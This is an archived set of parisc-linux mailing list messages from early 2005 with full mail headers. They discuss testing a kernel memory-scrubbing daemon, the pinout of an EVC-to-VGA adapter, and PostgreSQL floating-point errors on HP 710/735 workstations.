Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jan 2005 16:35:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx062) with SMTP; 24 Jan 2005 17:35:59 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D1E5B3BE6F; Mon, 24 Jan 2005 09:35:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23080-08; Mon, 24 Jan 2005 09:35:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BAB7C3BE6D; Mon, 24 Jan 2005 09:34:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 172123BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jan 2005 09:34:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23074-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jan 2005 09:34:28 -0700 (MST)
Original-Received: from omx3.sgi.com (omx3-ext.sgi.com [192.48.171.20])
	by free.linux.hp.com (Postfix) with ESMTP id E658D3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jan 2005 09:34:27 -0700 (MST)
Original-Received: from internal-mail-relay1.corp.sgi.com
	(internal-mail-relay1.corp.sgi.com [198.149.32.52])
	by omx3.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with ESMTP
	id j0OG0w47031664; Mon, 24 Jan 2005 08:01:01 -0800
Original-Received: from spindle.corp.sgi.com (spindle.corp.sgi.com [198.29.75.13])
	by internal-mail-relay1.corp.sgi.com
	(8.12.9/8.12.10/SGI_generic_relay-1.2) with ESMTP id
	j0OGbF0W154219324; Mon, 24 Jan 2005 08:37:15 -0800 (PST)
Original-Received: from schroedinger.engr.sgi.com (schroedinger.engr.sgi.com
	[163.154.5.55])
	by spindle.corp.sgi.com (SGI-8.12.5/8.12.9/generic_config-1.2) with
	ESMTP id j0OGYCae17277210; Mon, 24 Jan 2005 08:34:12 -0800 (PST)
X-X-Sender: clameter@schroedinger.engr.sgi.com
In-Reply-To: <41F2E78B.5070908@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22317

Adjust the parameters in /proc/sys/vm/scrub_*. And scrubd is running very
fast so its likely difficult to catch. Check /proc/meminfo to see if you
have any zeroed memory.

On Sat, 22 Jan 2005, Joel Soete wrote:

> Just an update to mentioned that the last Christoph's patch against our 2=
=2E6.11-rc2-pa0 (with some small ack) boot fine on my c110:
> # ps -ef | grep scr
> root        10     1  0 00:38 ?        00:00:04 [kscrubd0]
>   :-)
>
> But evidently I missed something:
>    I well find
> # grep scru /boot/System.map-2.6.11-rc2-pa0-c110
> 10146b40 T scrubd_rmpage
> 1015c2a8 T scrub_start_handler
> 1015c4b8 t scrub_pgdat
> 1015c538 t kscrubd
> 10229bf8 t scrup
> 103a0d98 D sysctl_scrub_start
> 103a0d9c D sysctl_scrub_stop
> 103a0da0 D sysctl_scrub_load
> 103fab0c t kscrubd_init
> 10445870 t __initcall_kscrubd_init
>
>    but
> # readprofile | grep scr
>
> Thanks in advance,
> =09Joel
>
> Joel Soete wrote:
> > Just to update report:
> >
> >
> >>[...]
> >>
> >>>Design seems to be drifting in that general direction.
> >>>
> >>>See: change log on 2.6.11-rc1
> >>>
> >>>More details at:
> >>><http://seclists.org/lists/linux-kernel/2005/Jan/0888.html>
> >>>
> >>The last v4 release thread start here:
> >><http://seclists.org/lists/linux-kernel/2005/Jan/2931.html>
> >>and also
> >><http://www.gelato.unsw.edu.au/linux-ia64/0501/12468.html>
> >>
> >>I tried to applying those patch but I do have miss against which kernel
> >
> > this
> >
> >>patch was build: a big hunk of patch [2/4] failled :-(
> >>Having a quick look is supposed to rename severall function in mm/page_=
alloc.c
> >>as page_order() into page_zorder() but I didn't find it and not more in
> >
> > the
> >
> >>vanilla 2.6.10?
> >>
> >
> > The merge with 2.6.11-rc1 help a bit but previous mentioned pacthes wer=
e
> > not build against this kernel src, so I will awaiting patches against t=
his
> > one ;-)
> >
> > Joel
> >
> > -----------------------------------------------------------------------=
----
> > Tiscali solde! 1 mois et activation Gratuits, modem =C3=A0 9,99=EF=BF=
=BD
> > http://reg.tiscali.be/adsl/default.asp?lg=3DFR
> >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EVC to 2x VGA on ebay.
Date: Mon, 31 Jan 2005 12:56:36 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20050131175635.GE29399@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623659 12622 80.91.229.3 (22 Nov 2014 02:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2005 17:58:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 31 Jan 2005 18:58:20 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 54BCB3BE7B; Mon, 31 Jan 2005 10:58:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06052-08; Mon, 31 Jan 2005 10:57:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C03873BE7E; Mon, 31 Jan 2005 10:56:42 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E76643BE79
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 10:56:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06052-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 10:56:39 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 8C4733BE78
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 10:56:38 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Cvfmu-00016w-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 12:56:36 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (96% Sync Ratio [==========])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22318


parisc,

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&rd=1&item=5161476411&ssPageName=STRK:MEWA:IT

Just saw this on ebay. It's a steal for the EVC connector end.
I *do not* know if they work with hppa systems but I'm willing to buy 4
of them just to hack the EVC connectors.

I'm hoping they work!

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] EVC to 2x VGA on ebay.
Date: Mon, 31 Jan 2005 19:16:50 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <41DE4A3A00007E1C@mail-1-bnl.tiscali.it>
References: <20050131175635.GE29399@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623660 12624 80.91.229.3 (22 Nov 2014 02:34:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:20 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2005 18:17:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 31 Jan 2005 19:17:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 42A443BE7E; Mon, 31 Jan 2005 11:17:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07818-08; Mon, 31 Jan 2005 11:17:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 76ADD3BE7C; Mon, 31 Jan 2005 11:17:02 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 383D33BE7B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 11:16:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07818-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 11:16:54 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id 1DF433BE78
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 11:16:54 -0700 (MST)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1Cvg6U-0005c4-SI; Mon, 31 Jan 2005 19:16:52 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Mon, 31 Jan 2005 19:16:50 +0100
In-Reply-To: <20050131175635.GE29399@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22319

Hello Carlos,

> parisc,
> 
> http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&rd=3D1&item=3D5161476411&=
ssPageName=3DSTRK:MEWA:IT
> 
> Just saw this on ebay. It's a steal for the EVC connector end.

On my b180, I use a converter of this kind (hp supplied) but it was write=
n
PVC on it and enlarge picture (if match the actual product ) doesn't matc=
h
at all this PVC converter :-(

Hth,
    Joel


-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nleippe@salesteamautomation.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EVC to 2x VGA on ebay.
Date: Mon, 31 Jan 2005 11:32:25 -0700
Organization: SalesTeam Automation
Lines: 63
Approved: news@gmane.org
Message-ID: <200501311132.25722.nleippe@salesteamautomation.com>
References: <20050131175635.GE29399@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623660 12627 80.91.229.3 (22 Nov 2014 02:34:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2005 18:33:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 31 Jan 2005 19:33:02 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A29CC3BE7B; Mon, 31 Jan 2005 11:33:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07998-09; Mon, 31 Jan 2005 11:33:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 602D13BE7E; Mon, 31 Jan 2005 11:32:51 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A4173BE79
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 11:32:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07998-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 11:32:43 -0700 (MST)
Original-Received: from salesteamautomation.com (user-13.atlconn.fiber.net
	[209.90.96.13])
	by free.linux.hp.com (Postfix) with ESMTP id CEA323BE78
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 11:32:42 -0700 (MST)
Original-Received: from nick.lan (user-200.atlconn.fiber.net [209.90.96.200])
	by salesteamautomation.com (8.12.10/8.12.10) with ESMTP id
	j0VIMCKu024180 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jan 2005 11:22:12 -0700
User-Agent: KMail/1.7.2
In-Reply-To: <20050131175635.GE29399@baldric.uwo.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22320

On Monday 31 January 2005 10:56 am, Carlos O'Donell wrote:
> parisc,
>
> http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&rd=1&item=5161476411&ssPageNa
>me=STRK:MEWA:IT

I would wait.  I just purchased some from this exact same vendor.  They did
not work exactly as I'd hoped.  He is trying to help me figure it out, since
he claims that several other buyers have had success.

The best I can get is RG output (no blue), and only on some of my monitors.

I beeped out the compelete pinout for these adapters.  The wiring of
an HP stock EVC-VGA adapter (which works on all of my monitors), and both 
connectors of these adapters is as follows: (reference: 
http://www.montest.com/technote.html)

            Goes to HP          Your VGA #1            Your VGA #2
VGA pin     EVC pin             goes to EVC:           goes to EVC:
-------     --------            ------------           ------------
1 Red       C1 Red              C1 Red                 1  TMDS DATA 2+
2 Green     C2 Green            C2 Green               14 TMDS CLK+
3 Blue      C4 Blue             C3 PX CLOCK OUT        22 TMDS DATA 0+
4 ID2       nc                  nc                     nc
5 GND Test  25 DDC RTN          9  1394 PAIR A, DATA   9  1394 PAIR A, DATA
6 GND       C5 Common GND RTN   C5 Common GND RTN      3  TMDS DATA 2 RTN
7 GND       C5 Common GND RTN   C5 Common GND RTN      25 DDC RTN
8 GND       C% Common GND RTN   C5 Common GND RTN      23 TMDS DATA 0 RTN
9 "nc"      28 +5 VDC           10 1394 PAIR A, DATA+  10 1894 PAIR A, DATA+
10 GND      4  SYNC RTN         C5 Common GND RTN      27 DDC CLK SCL
11 ID0      nc                  nc                     nc
12 ID1      nc                  nc                     nc
13 HS       5  HORIZ. SYNC TTL  C4 Blue                21 TMDS DATA 0
14 VS       6  VERT. SYNC TTL   24 STEREO SYNC TTL     2  TMDS DATA 2
15 ID3      27 DDC CLK SCL      29 1394 PAIR B, CLK+   19 1394 VG

As you can see from the pinouts, no matter what, there is no way to get
a complete VGA signal from either of the VGA connectors on the adapter.
This baffles me as to why anyone would manufacture an adapter with this
pinout.
 
It almost looks as if the #2 VGA connector was intended to drive a
DVI input--but it doesn't seem like it's quite there either.
Even between the two VGA connectors, there are no sync signals at
all--I'm not sure how exactly my monitor that can display this (minus
the blue, of course) is syncing the signal (possibly sync-on-green, 
but some of my monitors that don't work with these adapters accept 
sync-on-green as well).

-- 
Respectfully,

Nicholas Leippe
Sales Team Automation, LLC
1335 West 1650 North, Suite C
Springville, UT  84663 +1 801.853.4090
http://www.salesteamautomation.com
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@contactbda.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Postgresql Math errors on a 710 & 735
Date: Wed, 2 Feb 2005 14:42:07 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20050202193851.M58001@contactbda.com>
Reply-To: jim@contactbda.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623660 12631 80.91.229.3 (22 Nov 2014 02:34:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Feb 2005 19:42:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 02 Feb 2005 20:42:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F7EE7D62F;
	Wed,  2 Feb 2005 12:42:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04170-09; Wed, 2 Feb 2005 12:42:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 689E07D632;
	Wed,  2 Feb 2005 12:42:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96A197D629
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Feb 2005 12:42:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04218-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Feb 2005 12:42:14 -0700 (MST)
Original-Received: from amanda.contactbda.com (ipn36372-e65122.cidr.lightship.net
	[216.204.66.226])
	by free.linux.hp.com (Postfix) with ESMTP id 0D9A37D627
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Feb 2005 12:42:13 -0700 (MST)
Original-Received: from amanda.contactbda.com (amanda.contactbda.com [192.168.1.2])
	by amanda.contactbda.com (8.12.11/8.12.11/Debian-3) with ESMTP id
	j12Jg79s005535 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Feb 2005 14:42:07 -0500
X-Mailer: Open WebMail 2.41 20040926
X-OriginatingIP: 192.168.1.1 (jim)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xmlLBXAsa2A76LvDOHQyMTQyOWhhakfa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22321

All,

I am trying to Postgresql working on my 710 and 735 hp systems and I am having problems with some math functions and 
the postgresql fokes sent me over here.  Does anyone know of any problems with math on these systems.  In the next few 
days, I will put together a small C program as an example of the problem

One example of an issue is just "select 'infinity'::float8;" 

If this is NOT the correct list please let me know also.

Thanks for your time.
Jim
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Postgresql Math errors on a 710 & 735
Date: Wed, 2 Feb 2005 16:11:56 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200502022111.j12LBuSU002892@hiauly1.hia.nrc.ca>
References: <20050202193851.M58001@contactbda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623661 12637 80.91.229.3 (22 Nov 2014 02:34:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jim@contactbda.com
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
